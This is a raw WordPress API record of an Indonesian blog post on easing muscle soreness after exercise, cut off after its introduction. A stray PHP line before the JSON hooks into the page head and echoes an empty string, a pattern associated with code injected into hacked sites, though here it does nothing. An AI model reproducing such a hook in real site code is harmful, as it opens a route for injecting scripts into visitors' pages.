add_action('wp_head', function(){echo '';}, 1);{"id":10037,"date":"2021-03-09T16:01:40","date_gmt":"2021-03-09T09:01:40","guid":{"rendered":"https:\/\/blog.titipku.com\/?p=10037"},"modified":"2021-03-09T16:01:40","modified_gmt":"2021-03-09T09:01:40","slug":"nyeri-otot-usai-olahraga-redakan-dengan-cara-ini","status":"publish","type":"post","link":"https:\/\/titipku.com\/blog\/nyeri-otot-usai-olahraga-redakan-dengan-cara-ini\/","title":{"rendered":"Nyeri Otot Usai Olahraga? Redakan Dengan Cara Ini"},"content":{"rendered":"

Belakangan ini banyak dari kita yang memulai hidup sehat dengan rutin berolahraga<\/a>. Bagi mereka yang sedang memulai program olahraga intens, tentunya merasakan nyeri<\/a> otot usai berolahraga. Kalau sudah merasa nyeri, kita akan merasa berat untuk beraktivitas, apalagi memulai sesi olahraga selanjutnya.<\/p>\n

<\/p>\n

Melansir dari Kompas.com<\/a>, nyeri otot yang dirasakan disebut sebagai delayed onset muscle soreness<\/em> (DOMS). Nyeri ini biasa terjadi ketika kita kembali berolahraga<\/a> setelah rehat lama, mencoba gerakan baru, atau menambah dosis latihan. Biasanya, nyeri otot akan bertahan selama tiga hari.<\/p>\n

\"\"<\/p>\n

Nah, supaya olahraga dan aktivitas harianmu bisa tetap jalan tanpa diganggu nyeri otot, kamu bisa mengikuti tips pereda nyeri berikut ini:<\/p>\n

 <\/p>\n